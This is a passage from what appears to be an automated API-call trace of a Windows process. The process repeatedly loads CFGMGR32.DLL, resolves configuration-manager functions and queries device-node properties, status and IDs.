lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.643] malloc (_Size=0x18) returned 0x20abc281dc0 [0195.644] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0195.644] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30617a2c, dwHighDateTime=0x1d9eb0c)) [0195.644] SetEvent (hEvent=0x248) returned 1 [0195.650] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.650] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.654] malloc (_Size=0x18) returned 0x20abc281b40 [0195.654] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.657] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3063d989, dwHighDateTime=0x1d9eb0c)) [0195.658] SetEvent (hEvent=0x248) returned 1 [0195.677] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.677] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.682] malloc (_Size=0x18) returned 0x20abc281ee0 [0195.682] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x14, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0195.684] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3066a283, dwHighDateTime=0x1d9eb0c)) [0195.685] SetEvent (hEvent=0x248) returned 1 [0195.742] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.742] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.746] malloc (_Size=0x18) returned 0x20abc281e80 [0195.746] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x14, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0195.747] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x306fc701, dwHighDateTime=0x1d9eb0c)) [0195.747] SetEvent (hEvent=0x248) returned 1 [0195.753] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.753] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.757] malloc (_Size=0x18) returned 0x20abc282000 [0195.758] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0195.759] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30722d8d, dwHighDateTime=0x1d9eb0c)) [0195.759] SetEvent (hEvent=0x248) returned 1 [0195.767] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.767] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.771] malloc (_Size=0x18) returned 0x20abc281b20 [0195.771] CM_Get_Device_IDA (in: dnDevInst=0x15, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\TEREDO_TUNNEL_DEVICE") returned 0x0 [0195.771] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x30748dc5, dwHighDateTime=0x1d9eb0c)) [0195.771] SetEvent (hEvent=0x248) returned 1 [0195.774] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.774] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.777] malloc (_Size=0x18) returned 0x20abc281dc0 [0195.777] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.777] malloc (_Size=0x12) returned 0x20abc281ba0 [0195.778] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ba0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ba0, pulLength=0x2dc22fd3f8) returned 0x0 [0195.778] free (_Block=0x20abc281ba0) [0195.778] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x30748dc5, dwHighDateTime=0x1d9eb0c)) [0195.778] SetEvent (hEvent=0x248) returned 1 [0195.781] malloc (_Size=0x18) returned 0x20abc281b20 [0195.781] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0195.781] free (_Block=0x20abc281b20) [0195.781] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cbf0 [0195.782] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0195.782] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.782] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.782] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.782] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0195.782] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.782] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0195.782] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.783] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.784] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.784] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cbf0) returned 1 [0195.785] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.785] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.788] GetProcAddress 